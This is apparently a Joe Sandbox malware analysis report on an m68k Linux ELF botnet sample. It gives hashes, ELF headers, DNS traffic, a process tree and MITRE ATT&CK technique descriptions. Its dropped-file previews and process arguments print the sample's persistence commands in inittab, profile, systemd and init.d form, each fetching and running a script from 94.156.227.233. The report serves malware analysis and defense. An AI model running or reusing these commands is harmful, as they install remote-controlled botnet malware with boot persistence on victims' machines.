SHA-512:	FAE041568F54085F8E91E004C14F26B8DF19267AF398D26166947A9C70BD0BD67C36D02078BD7DFFD0AF924D35EEADFB14880757B78354DA9823C4003FEF50F6
Malicious:	true
Joe Sandbox View:	Filename: m68k.nn.elf, Detection: malicious, Browse Filename: m68k.nn.elf, Detection: malicious, Browse
Reputation:	low
Preview:	#!/bin/sh./tmp/m68k.nn.elf &.wget http://94.156.227.233/ -O /tmp/lol.sh.chmod +x /tmp/lol.sh./tmp/lol.sh &.

/etc/inittab

Download File

Process:	/tmp/m68k.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	112
Entropy (8bit):	4.648300524622469
Encrypted:	false
SSDEEP:	3:nAWu58C/ANFDDoCvLdjX48FIbILbaaFOdFXa5O:ANufoYZX48bbaaeXCO
MD5:	6B69B8EBA9149CE0E664318604481B1B
SHA1:	19EA18B050694AC87A05648235C7EE1BFD891815
SHA-256:	0D26FFA18F7B01205E1A8852E5B2B964711987AE35A7A56F512239F67DBC2D0F
SHA-512:	AAB12A8BD0B4D5F2970DCA2A2F7B1907F5DE8E68DC2B248CB04657D5F1FC7366E51A1F885ED31F64DD336698A0FF050729230BA4DF1CA860E7675C0F7526A746
Malicious:	false
Reputation:	low
Preview:	::respawn:/tmp/m68k.nn.elf && wget http://94.156.227.233/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh.

/etc/motd

Download File

Process:	/tmp/m68k.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	53
Entropy (8bit):	3.871459242626451
Encrypted:	false
SSDEEP:	3:yGKtARxFQFrgBJ4BJ+3e:dQ0EcHG2e
MD5:	2BD9B4BE30579E633FC0191AA93DF486
SHA1:	7D63A9BD9662E86666B27C1B50DB8E7370C624FF
SHA-256:	64DC39F3004DC93C9FC4F1467B4807F2D8E3EB0BFA96B15C19CD8E7D6FA77A1D
SHA-512:	AE6DD7B39191354CF43CF65E517460D7D4C61B8F5C08E33E6CA3C451DC7CAB4DE89F33934C89396B80F1AADE0A4E2571BD5AE8B76EF80B737D4588703D2814D5
Malicious:	false
Preview:	gorilla botnet is on the device ur not a cat go away.

/etc/profile

Download File

Process:	/tmp/m68k.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	103
Entropy (8bit):	4.539325085623206
Encrypted:	false
SSDEEP:	3:TgSC/ANFDvSDRFiLdjX48FIbILbaaFOdFXa50:TgluzSXoZX48bbaaeXC0
MD5:	107E2A66E888E012915B4359DF5B17B1
SHA1:	A532A61F6D10B765D29B63248E84877DF85BB76C
SHA-256:	395C5BF18A2B8360C8D63A43B7FF55712985F066F9789F9B166F2A39092F9055
SHA-512:	6E2FC482B1AB8E3D7166F0A12A56464F071699FB2A110D98E9390822FA8994ABD40B1BA36566FA303FC68AAFB343AD6EA14CFD4EE6A42C9B275DCB94B1033A46
Malicious:	true
Preview:	/tmp/m68k.nn.elf &.wget http://94.156.227.233/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh &.

/etc/rc.local

Download File

Process:	/tmp/m68k.nn.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	10
Entropy (8bit):	3.121928094887362
Encrypted:	false
SSDEEP:	3:TKH4vn:hv
MD5:	3E2B31C72181B87149FF995E7202C0E3
SHA1:	BD971BEC88149956458A10FC9C5ECB3EB99DD452
SHA-256:	A8076D3D28D21E02012B20EAF7DBF75409A6277134439025F282E368E3305ABF
SHA-512:	543F39AF1AE7A2382ED869CBD1EE1AC598A88EB4E213CD64487C54B5C37722C6207EE6DB4FA7E2ED53064259A44115C6DA7BBC8C068378BB52A25E7088EEEBD6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: mips.nn.elf, Detection: malicious, Browse Filename: x86_32.nn.elf, Detection: malicious, Browse Filename: mipsel.nn.elf, Detection: malicious, Browse Filename: x86_64.nn.elf, Detection: malicious, Browse Filename: x86_32.nn.elf, Detection: malicious, Browse Filename: x86_64.nn.elf, Detection: malicious, Browse Filename: x86_64.nn.elf, Detection: malicious, Browse Filename: x86_32.nn.elf, Detection: malicious, Browse Filename: x86_32.nn.elf, Detection: malicious, Browse Filename: x86_64.nn.elf, Detection: malicious, Browse
Preview:	#!/bin/sh.

/etc/systemd/system/custom.service

Download File

Process:	/tmp/m68k.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	301
Entropy (8bit):	5.089772238578568
Encrypted:	false
SSDEEP:	6:z8ifitRZAMzdK+xE02+GWRdbZX48B+GWRo3UN2+GWRuLYACGX9LQmWA4Rv:zNitRZAOK+xEp+GWRdtd+GWRXY+GWRuO
MD5:	5F2DE4BB7CB64F4FF46C92FBBBD18206
SHA1:	E548D43460D28039B78C3BBB88FD906D47831FB1
SHA-256:	53E1138FD67D03288BB94DD07128318C7FF79BFC504DA67BC00F10716F74D25A
SHA-512:	50E330A60E42EF795B2387E0296010AF2B3FEAE72EC09ED1F1E7E671B7A4EE30B097F30A428924C7AEE438EE0E6B1C8B6B8EBE60B8B685DB56EDD5942DED1D71
Malicious:	false
Preview:	[Unit].Description=Custom Binary and Payload Service.After=network.target..[Service].ExecStart=/tmp/m68k.nn.elf.ExecStartPost=/usr/bin/wget -O /tmp/lol.sh http://94.156.227.233/.ExecStartPost=/bin/chmod +x /tmp/lol.sh.ExecStartPost=/tmp/lol.sh.Restart=on-failure..[Install].WantedBy=multi-user.target.

/memfd:snapd-env-generator (deleted)

Download File

Process:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File Type:	ASCII text
Category:	dropped
Size (bytes):	76
Entropy (8bit):	3.7627880354948586
Encrypted:	false
SSDEEP:	3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
MD5:	D86A1F5765F37989EB0EC3837AD13ECC
SHA1:	D749672A734D9DEAFD61DCA501C6929EC431B83E
SHA-256:	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
SHA-512:	338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
Malicious:	false
Preview:	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

/tmp/qemu-open.Fr6rHn (deleted)

Download File

Process:	/tmp/m68k.nn.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	17
Entropy (8bit):	3.6168746059562227
Encrypted:	false
SSDEEP:	3:TgSC/ANln:TglOn
MD5:	CF5BFD6A623ECC046218AA0EBA4D8FE7
SHA1:	E3F0D3236A8D19B35DB7D7F81FECBA0A5D613E88
SHA-256:	C3A372684D6533CABFEC9940A5B0C21F5CD8C12CE9FECD07DE6D5C5E31C00560
SHA-512:	F2C31F4B0FA981357F508A6C3B32A3DAEDC609FDE9EC704411D022BE11643B7F6EC039421ACB9EDE5334ACA2A7F1068D5B55106F4BF46327A229E2A04D31547B
Malicious:	false
Preview:	/tmp/m68k.nn.elf.

Static File Info

General

File type:	ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.412767080000677
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	m68k.nn.elf
File size:	111'700 bytes
MD5:	f457bbd6f712e4fce78b36c509fa93dc
SHA1:	b384c2e766c782a8161082fd1256fab2757c19aa
SHA256:	7b21eb15e07585666b788917dd82723589f27c1d75752b9301147ed6b3d18ac2
SHA512:	0f225e82fe4ccadb89ed5ea5e47fd128b23aae3eeae599eac886ba00efa3c960d48c99e565e67308deef2517093fe836a191ffff5505c259265dcc030e20dff3
SSDEEP:	3072:repqiTUNuvrJqtPX8Znz//ij1KllSb7kyLvTV1E+I6ujwOG:rKMpJ8yLrfE+huPG
TLSH:	3FB35CCAB400CEBDFC1AD6BB50174A18B531A3405F520F27E76BFD67ADA31984927E81
File Content Preview:	.ELF.......................D...4.........4. ...(.................................. .......................(....... .dt.Q............................NV..a....da.....N^NuNV..J9....f>"y.... QJ.g.X.#.....N."y.... QJ.f.A.....J.g.Hy....N.X.........N^NuNV..N^NuN

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MC68000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x80000144
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	111300
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x80000094	0x94	0x14	0x0	0x6	AX	2
.text	PROGBITS	0x800000a8	0xa8	0x17fe6	0x0	0x6	AX	4
.fini	PROGBITS	0x8001808e	0x1808e	0xe	0x0	0x6	AX	2
.rodata	PROGBITS	0x8001809c	0x1809c	0x2c14	0x0	0x2	A	2
.ctors	PROGBITS	0x8001ccb4	0x1acb4	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x8001ccbc	0x1acbc	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x8001ccc8	0x1acc8	0x5bc	0x0	0x3	WA	4
.bss	NOBITS	0x8001d284	0x1b284	0x223c	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x1b284	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x80000000	0x80000000	0x1acb0	0x1acb0	6.4249	0x5	R E	0x2000	.init .text .fini .rodata
LOAD	0x1acb4	0x8001ccb4	0x8001ccb4	0x5d0	0x280c	5.0164	0x6	RW	0x2000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Network Port Distribution

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 22, 2024 09:49:44.118350983 CET	45756	53	192.168.2.13	1.1.1.1
Dec 22, 2024 09:49:44.118434906 CET	56170	53	192.168.2.13	1.1.1.1
Dec 22, 2024 09:49:44.338048935 CET	53	45756	1.1.1.1	192.168.2.13
Dec 22, 2024 09:49:44.346421957 CET	53	56170	1.1.1.1	192.168.2.13

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 22, 2024 09:49:44.118350983 CET	192.168.2.13	1.1.1.1	0x442	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Dec 22, 2024 09:49:44.118434906 CET	192.168.2.13	1.1.1.1	0xd904	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 22, 2024 09:49:44.338048935 CET	1.1.1.1	192.168.2.13	0x442	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false
Dec 22, 2024 09:49:44.338048935 CET	1.1.1.1	192.168.2.13	0x442	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: m68k.nn.elf PID: 5504, Parent PID: 5426

General

Start time (UTC):	08:49:41
Start date (UTC):	22/12/2024
Path:	/tmp/m68k.nn.elf
Arguments:	/tmp/m68k.nn.elf
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Chronological Activities

Analysis Process: m68k.nn.elf PID: 5520, Parent PID: 5504

General

Start time (UTC):	08:49:41
Start date (UTC):	22/12/2024
Path:	/tmp/m68k.nn.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Chronological Activities

Analysis Process: sh PID: 5520, Parent PID: 5504

General

Start time (UTC):	08:49:41
Start date (UTC):	22/12/2024
Path:	/bin/sh
Arguments:	sh -c "systemctl enable custom.service >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5533, Parent PID: 5520

General

Start time (UTC):	08:49:41
Start date (UTC):	22/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5533, Parent PID: 5520

General

Start time (UTC):	08:49:41
Start date (UTC):	22/12/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl enable custom.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: m68k.nn.elf PID: 5549, Parent PID: 5504

General

Start time (UTC):	08:49:42
Start date (UTC):	22/12/2024
Path:	/tmp/m68k.nn.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Chronological Activities

Analysis Process: sh PID: 5549, Parent PID: 5504

General

Start time (UTC):	08:49:42
Start date (UTC):	22/12/2024
Path:	/bin/sh
Arguments:	sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5551, Parent PID: 5549

General

Start time (UTC):	08:49:42
Start date (UTC):	22/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chmod PID: 5551, Parent PID: 5549

General

Start time (UTC):	08:49:42
Start date (UTC):	22/12/2024
Path:	/usr/bin/chmod
Arguments:	chmod +x /etc/init.d/system
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Chronological Activities

Analysis Process: m68k.nn.elf PID: 5552, Parent PID: 5504

General

Start time (UTC):	08:49:42
Start date (UTC):	22/12/2024
Path:	/tmp/m68k.nn.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Chronological Activities

Analysis Process: sh PID: 5552, Parent PID: 5504

General

Start time (UTC):	08:49:42
Start date (UTC):	22/12/2024
Path:	/bin/sh
Arguments:	sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5554, Parent PID: 5552

General

Start time (UTC):	08:49:42
Start date (UTC):	22/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: ln PID: 5554, Parent PID: 5552

General

Start time (UTC):	08:49:42
Start date (UTC):	22/12/2024
Path:	/usr/bin/ln
Arguments:	ln -s /etc/init.d/system /etc/rcS.d/S99system
File size:	76160 bytes
MD5 hash:	e933cf05571f62c0157d4e2dfcaea282

Chronological Activities

Analysis Process: m68k.nn.elf PID: 5555, Parent PID: 5504

General

Start time (UTC):	08:49:42
Start date (UTC):	22/12/2024
Path:	/tmp/m68k.nn.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Chronological Activities

Analysis Process: sh PID: 5555, Parent PID: 5504

General

Start time (UTC):	08:49:42
Start date (UTC):	22/12/2024
Path:	/bin/sh
Arguments:	sh -c "echo \"#!/bin/sh\n# /etc/init.d/m68k.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting m68k.nn.elf'\n /tmp/m68k.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping m68k.nn.elf'\n killall m68k.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start\|stop\|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/m68k.nn.elf"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: m68k.nn.elf PID: 5560, Parent PID: 5504

General

Start time (UTC):	08:49:42
Start date (UTC):	22/12/2024
Path:	/tmp/m68k.nn.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Chronological Activities

Analysis Process: sh PID: 5560, Parent PID: 5504

General

Start time (UTC):	08:49:42
Start date (UTC):	22/12/2024
Path:	/bin/sh
Arguments:	sh -c "chmod +x /etc/init.d/m68k.nn.elf >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5562, Parent PID: 5560

General

Start time (UTC):	08:49:42
Start date (UTC):	22/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chmod PID: 5562, Parent PID: 5560

General

Start time (UTC):	08:49:42
Start date (UTC):	22/12/2024
Path:	/usr/bin/chmod
Arguments:	chmod +x /etc/init.d/m68k.nn.elf
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Chronological Activities

Analysis Process: m68k.nn.elf PID: 5563, Parent PID: 5504

General

Start time (UTC):	08:49:42
Start date (UTC):	22/12/2024
Path:	/tmp/m68k.nn.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Chronological Activities

Analysis Process: sh PID: 5563, Parent PID: 5504

General

Start time (UTC):	08:49:42
Start date (UTC):	22/12/2024
Path:	/bin/sh
Arguments:	sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5568, Parent PID: 5563

General

Start time (UTC):	08:49:42
Start date (UTC):	22/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: mkdir PID: 5568, Parent PID: 5563

General

Start time (UTC):	08:49:42
Start date (UTC):	22/12/2024
Path:	/usr/bin/mkdir
Arguments:	mkdir -p /etc/rc.d
File size:	88408 bytes
MD5 hash:	088c9d1df5a28ed16c726eca15964cb7

Chronological Activities

Analysis Process: m68k.nn.elf PID: 5569, Parent PID: 5504

General

Start time (UTC):	08:49:42
Start date (UTC):	22/12/2024
Path:	/tmp/m68k.nn.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Chronological Activities

Analysis Process: sh PID: 5569, Parent PID: 5504

General

Start time (UTC):	08:49:42
Start date (UTC):	22/12/2024
Path:	/bin/sh
Arguments:	sh -c "ln -s /etc/init.d/m68k.nn.elf /etc/rc.d/S99m68k.nn.elf >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5571, Parent PID: 5569

General

Start time (UTC):	08:49:42
Start date (UTC):	22/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: ln PID: 5571, Parent PID: 5569

General

Start time (UTC):	08:49:42
Start date (UTC):	22/12/2024
Path:	/usr/bin/ln
Arguments:	ln -s /etc/init.d/m68k.nn.elf /etc/rc.d/S99m68k.nn.elf
File size:	76160 bytes
MD5 hash:	e933cf05571f62c0157d4e2dfcaea282

Chronological Activities

Analysis Process: udisksd PID: 5516, Parent PID: 802

General

Start time (UTC):	08:49:41
Start date (UTC):	22/12/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 5516, Parent PID: 802

General

Start time (UTC):	08:49:41
Start date (UTC):	22/12/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: systemd PID: 5547, Parent PID: 5546

General

Start time (UTC):	08:49:42
Start date (UTC):	22/12/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: snapd-env-generator PID: 5547, Parent PID: 5546

General

Start time (UTC):	08:49:42
Start date (UTC):	22/12/2024
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Chronological Activities

Analysis Process: udisksd PID: 5604, Parent PID: 802

General

Start time (UTC):	08:49:42
Start date (UTC):	22/12/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 5604, Parent PID: 802

General

Start time (UTC):	08:49:42
Start date (UTC):	22/12/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User Unix Shell s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system ( `/etc` ) and the user’s home directory ( `~/` ) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation
Platforms:	Linux, macOS
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation, Service: Service Creation, Service: Service Modification
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.
Tactics:	Impact
Data Sources:	File: File Creation, File: File Deletion, File: File Metadata, File: File Modification, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report m68k.nn.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/boot/bootcmd

/etc/init.d/m68k.nn.elf

/etc/init.d/system

/etc/inittab

/etc/motd

/etc/profile

/etc/rc.local

/etc/systemd/system/custom.service

/memfd:snapd-env-generator (deleted)

/tmp/qemu-open.Fr6rHn (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: m68k.nn.elf PID: 5504, Parent PID: 5426

General

Chronological Activities

Analysis Process: m68k.nn.elf PID: 5520, Parent PID: 5504

General

Chronological Activities

Analysis Process: sh PID: 5520, Parent PID: 5504

Linux Analysis Report
m68k.nn.elf